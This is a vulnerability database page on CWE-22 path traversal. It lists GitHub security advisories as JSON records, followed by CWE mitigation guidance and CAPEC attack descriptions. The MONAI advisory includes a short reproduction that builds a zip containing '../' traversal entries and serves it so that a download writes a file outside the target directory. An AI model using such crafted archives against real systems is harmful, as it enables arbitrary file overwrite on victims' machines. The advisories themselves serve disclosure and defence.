CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13041 vulnerabilities reference this CWE, most recent first.
GHSA-X6JV-5VFG-GM7X
Vulnerability from github – Published: 2021-09-01 18:35 – Updated: 2023-04-24 19:05Improper configuration will cause ServiceComb ServiceCenter Directory Traversal problem in ServcieCenter 1.x.x versions and fixed in 2.0.0.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/apache/servicecomb-service-center"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21501"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-30T19:32:48Z",
"nvd_published_at": "2021-08-10T10:15:00Z",
"severity": "HIGH"
},
"details": "Improper configuration will cause ServiceComb ServiceCenter Directory Traversal problem in ServcieCenter 1.x.x versions and fixed in 2.0.0.",
"id": "GHSA-x6jv-5vfg-gm7x",
"modified": "2023-04-24T19:05:13Z",
"published": "2021-09-01T18:35:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21501"
},
{
"type": "WEB",
"url": "https://github.com/apache/servicecomb-service-center/pull/788"
},
{
"type": "WEB",
"url": "https://github.com/apache/servicecomb-service-center/commit/f4f44fe5d4a7e530ca8ee7c6f2c9e891ae8353c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/servicecomb-service-center"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r337be65e504eac52a12e89d7de40345e5d335deee9dd7288f7f59b81%40%3Cdev.servicecomb.apache.org%3E"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/08/10/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Path traversal in ServiceCenter"
}
GHSA-X6MC-VRRP-Q4J3
Vulnerability from github – Published: 2022-05-01 18:36 – Updated: 2022-05-01 18:36Directory traversal vulnerability in modules/Builder/DownloadModule.php in ModuleBuilder 1.0 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
{
"affected": [],
"aliases": [
"CVE-2007-5812"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-11-05T17:46:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in modules/Builder/DownloadModule.php in ModuleBuilder 1.0 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.",
"id": "GHSA-x6mc-vrrp-q4j3",
"modified": "2022-05-01T18:36:59Z",
"published": "2022-05-01T18:36:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5812"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38186"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4591"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X6P3-76F2-XXVH
Vulnerability from github – Published: 2026-05-28 20:02 – Updated: 2026-05-28 20:02Impact
A path traversal vulnerability in shame next allows an attacker-controlled shamefile.yaml to disclose contents of files outside the repository, one line at a time, to the terminal of a user who runs the command. See patch commit for technical details.
Patches
Fixed in 0.1.7. Upgrade to either 0.1.7 or later versions to incorporate the patch.
Workarounds
Do not run shame next against untrusted shamefile.yaml. Use shame me --dry-run for CI validation.
Resources
- Patch commit: https://github.com/BKDDFS/shamefile/commit/77b0aeea318503582818c708518c601fedc43557
- Pull request: https://github.com/BKDDFS/shamefile/pull/80
- Release: https://github.com/BKDDFS/shamefile/releases/tag/v0.1.7
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.6"
},
"package": {
"ecosystem": "PyPI",
"name": "shamefile"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.6"
},
"package": {
"ecosystem": "npm",
"name": "shamefile"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.6"
},
"package": {
"ecosystem": "crates.io",
"name": "shamefile"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47144"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T20:02:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nA path traversal vulnerability in `shame next` allows an attacker-controlled `shamefile.yaml` to disclose contents of files outside the repository, one line at a time, to the terminal of a user who runs the command. See patch commit for technical details.\n\n### Patches\n\nFixed in 0.1.7. Upgrade to either 0.1.7 or later versions to incorporate the patch.\n\n### Workarounds\n\nDo not run `shame next` against untrusted `shamefile.yaml`. Use `shame me --dry-run` for CI validation.\n\n### Resources\n\n- Patch commit: https://github.com/BKDDFS/shamefile/commit/77b0aeea318503582818c708518c601fedc43557\n- Pull request: https://github.com/BKDDFS/shamefile/pull/80\n- Release: https://github.com/BKDDFS/shamefile/releases/tag/v0.1.7\n- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)](https://cwe.mitre.org/data/definitions/22.html)",
"id": "GHSA-x6p3-76f2-xxvh",
"modified": "2026-05-28T20:02:14Z",
"published": "2026-05-28T20:02:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BKDDFS/shamefile/security/advisories/GHSA-x6p3-76f2-xxvh"
},
{
"type": "WEB",
"url": "https://github.com/BKDDFS/shamefile/pull/80"
},
{
"type": "WEB",
"url": "https://github.com/BKDDFS/shamefile/commit/77b0aeea318503582818c708518c601fedc43557"
},
{
"type": "PACKAGE",
"url": "https://github.com/BKDDFS/shamefile"
},
{
"type": "WEB",
"url": "https://github.com/BKDDFS/shamefile/releases/tag/v0.1.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Shamefile has an arbitrary file read via shamefile.yaml in shame next"
}
GHSA-X6PJ-7792-5GVW
Vulnerability from github – Published: 2022-05-14 02:37 – Updated: 2022-05-14 02:37A Directory Traversal Remote Code Execution vulnerability in Trend Micro Control Manager (versions 6.0 and 7.0) could allow an attacker to execute arbitrary code on vulnerable installations.
{
"affected": [],
"aliases": [
"CVE-2018-10510"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-15T19:29:00Z",
"severity": "CRITICAL"
},
"details": "A Directory Traversal Remote Code Execution vulnerability in Trend Micro Control Manager (versions 6.0 and 7.0) could allow an attacker to execute arbitrary code on vulnerable installations.",
"id": "GHSA-x6pj-7792-5gvw",
"modified": "2022-05-14T02:37:13Z",
"published": "2022-05-14T02:37:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10510"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/1120112"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X6R5-6R34-P24J
Vulnerability from github – Published: 2022-05-17 01:44 – Updated: 2022-05-17 01:44Directory traversal vulnerability in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.25, 8.0 before 8.0.0.5, and 8.5 before 8.5.0.1 allows remote attackers to overwrite arbitrary files via a crafted application file.
{
"affected": [],
"aliases": [
"CVE-2012-3305"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-09-25T20:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.25, 8.0 before 8.0.0.5, and 8.5 before 8.5.0.1 allows remote attackers to overwrite arbitrary files via a crafted application file.",
"id": "GHSA-x6r5-6r34-p24j",
"modified": "2022-05-17T01:44:29Z",
"published": "2022-05-17T01:44:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-3305"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/77477"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1PM62467"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg21611313"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X6R6-W4VR-79GV
Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-05-27 00:01cmseasy V7.7.5_20211012 is affected by an arbitrary file write vulnerability. Through this vulnerability, a PHP script file is written to the website server, and accessing this file can lead to a code execution vulnerability.
{
"affected": [],
"aliases": [
"CVE-2021-42643"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-17T12:15:00Z",
"severity": "HIGH"
},
"details": "cmseasy V7.7.5_20211012 is affected by an arbitrary file write vulnerability. Through this vulnerability, a PHP script file is written to the website server, and accessing this file can lead to a code execution vulnerability.",
"id": "GHSA-x6r6-w4vr-79gv",
"modified": "2022-05-27T00:01:08Z",
"published": "2022-05-18T00:00:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42643"
},
{
"type": "WEB",
"url": "https://jdr2021.github.io/2021/10/14/CmsEasy_7.7.5_20211012%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E5%92%8C%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X6RH-Q9J9-6236
Vulnerability from github – Published: 2022-05-03 03:18 – Updated: 2022-05-03 03:18Directory traversal vulnerability in Motorola Timbuktu Pro before 8.6.5 for Windows allows remote attackers to create or delete arbitrary files via a .. (dot dot) in a Send request, probably related to the (1) Send and (2) Exchange services.
{
"affected": [],
"aliases": [
"CVE-2007-4220"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-08-29T01:17:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in Motorola Timbuktu Pro before 8.6.5 for Windows allows remote attackers to create or delete arbitrary files via a .. (dot dot) in a Send request, probably related to the (1) Send and (2) Exchange services.",
"id": "GHSA-x6rh-q9j9-6236",
"modified": "2022-05-03T03:18:23Z",
"published": "2022-05-03T03:18:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4220"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36273"
},
{
"type": "WEB",
"url": "http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=589"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/26588"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/25453"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1018614"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/2990"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X6RV-C4JG-FRH2
Vulnerability from github – Published: 2022-05-01 23:57 – Updated: 2022-05-01 23:57Directory traversal vulnerability in index.php in Neutrino Atomic Edition 0.8.4 allows remote attackers to read and modify files, as demonstrated by manipulating data/sess.php in (1) usb and (2) del_pag actions. NOTE: this can be leveraged for code execution by performing an upload that bypasses the intended access restrictions that were implemented in sess.php.
{
"affected": [],
"aliases": [
"CVE-2008-3150"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-07-11T19:41:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in index.php in Neutrino Atomic Edition 0.8.4 allows remote attackers to read and modify files, as demonstrated by manipulating data/sess.php in (1) usb and (2) del_pag actions. NOTE: this can be leveraged for code execution by performing an upload that bypasses the intended access restrictions that were implemented in sess.php.",
"id": "GHSA-x6rv-c4jg-frh2",
"modified": "2022-05-01T23:57:06Z",
"published": "2022-05-01T23:57:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3150"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43616"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6018"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30950"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30123"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X6VP-3M75-76C9
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30NitroSense 3.x before 3.01.3052 contains Local Privilege Escalation (LPE) vulnerability.The program exposes a Windows Named Pipe that uses a custom protocol to invoke internal functions. However, this Named Pipe is misconfigured, allowing any authenticated local user to execute arbitrary code with NT AUTHORITY\SYSTEM privileges and to delete arbitrary files with SYSTEM privileges. By leveraging this, an attacker can execute arbitrary code on the target system with elevated privileges.
{
"affected": [],
"aliases": [
"CVE-2026-9489"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-25T02:16:57Z",
"severity": "HIGH"
},
"details": "NitroSense 3.x before 3.01.3052 contains Local Privilege Escalation (LPE) vulnerability.The program exposes a Windows Named Pipe that uses a custom protocol to invoke internal functions. However, this Named Pipe is misconfigured, allowing any authenticated local user to execute arbitrary code with NT AUTHORITY\\SYSTEM privileges and to delete arbitrary files with SYSTEM privileges. By leveraging this, an attacker can execute arbitrary code on the target system with elevated privileges.",
"id": "GHSA-x6vp-3m75-76c9",
"modified": "2026-05-26T13:30:38Z",
"published": "2026-05-26T13:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9489"
},
{
"type": "WEB",
"url": "https://community.acer.com/en/kb/articles/19652"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X6WW-PF9M-M73M
Vulnerability from github – Published: 2025-09-09 21:19 – Updated: 2026-06-06 14:42Summary
The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.
When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd
adding: malicious.txt (stored 0%)
adding: ../../../../../../etc/passwd (deflated 64%)
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls
malicious.zip p1.py p2.py r1.py test_bundle
Then start the http service through python
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')"
2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---
2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'
2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'
2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'
2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'
2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'
2025-08-11 20:49:01,668 - INFO - > progress: True
2025-08-11 20:49:01,668 - INFO - ---
test_bundle.zip: 8.00kB [00:00, 204kB/s]
2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip
2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.
2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.
2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /
autodl-pub cuda-keyring_1.0-1_all.deb home lib32 **malicious.txt** opt run sys var
bin dev init lib64 media proc sbin tmp
boot etc lib libx32 mnt root srv usr
We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.
Impact
Arbitrary file write
Repair Suggestions
Check the contents of the downloaded Zip file, or use a safer method to load it
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.0"
},
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58755"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-09T21:19:22Z",
"nvd_published_at": "2025-09-09T00:15:32Z",
"severity": "HIGH"
},
"details": "### Summary\nThe extractall function ```zip_file.extractall(output_dir)``` is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.\n\nWhen reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo \"malicious content\" \u003e test_bundle/malicious.txt \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd\n adding: malicious.txt (stored 0%)\n adding: ../../../../../../etc/passwd (deflated 64%)\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls\nmalicious.zip p1.py p2.py r1.py test_bundle\n```\nThen start the http service through python\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000\nServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...\n```\nAnother terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c \"from monai.bundle.scripts import download; download(name=\u0027test_bundle\u0027, url=\u0027http://localhost:8000/malicious.zip\u0027, bundle_dir=\u0027/tmp/test_extract\u0027)\"\n2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---\n2025-08-11 20:49:01,668 - INFO - \u003e name: \u0027test_bundle\u0027\n2025-08-11 20:49:01,668 - INFO - \u003e bundle_dir: \u0027/tmp/test_extract\u0027\n2025-08-11 20:49:01,668 - INFO - \u003e source: \u0027monaihosting\u0027\n2025-08-11 20:49:01,668 - INFO - \u003e url: \u0027http://localhost:8000/malicious.zip\u0027\n2025-08-11 20:49:01,668 - INFO - \u003e remove_prefix: \u0027monai_\u0027\n2025-08-11 20:49:01,668 - INFO - \u003e progress: True\n2025-08-11 20:49:01,668 - INFO - ---\n\n\ntest_bundle.zip: 8.00kB [00:00, 204kB/s]\n2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip\n2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.\n2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.\n2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /\nautodl-pub cuda-keyring_1.0-1_all.deb home lib32 **malicious.txt** opt run sys var\nbin dev init lib64 media proc sbin tmp\nboot etc lib libx32 mnt root srv usr\n```\nWe can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file.\nIf the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.\n\n### Impact\nArbitrary file write\n\n### Repair Suggestions\nCheck the contents of the downloaded Zip file, or use a safer method to load it",
"id": "GHSA-x6ww-pf9m-m73m",
"modified": "2026-06-06T14:42:50Z",
"published": "2025-09-09T21:19:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-x6ww-pf9m-m73m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58755"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/pull/8568"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/commit/946cfdff096d8b1d289063f06a04cae3fa3559d9"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-140.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MONAI does not prevent path traversal, potentially leading to arbitrary file writes"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
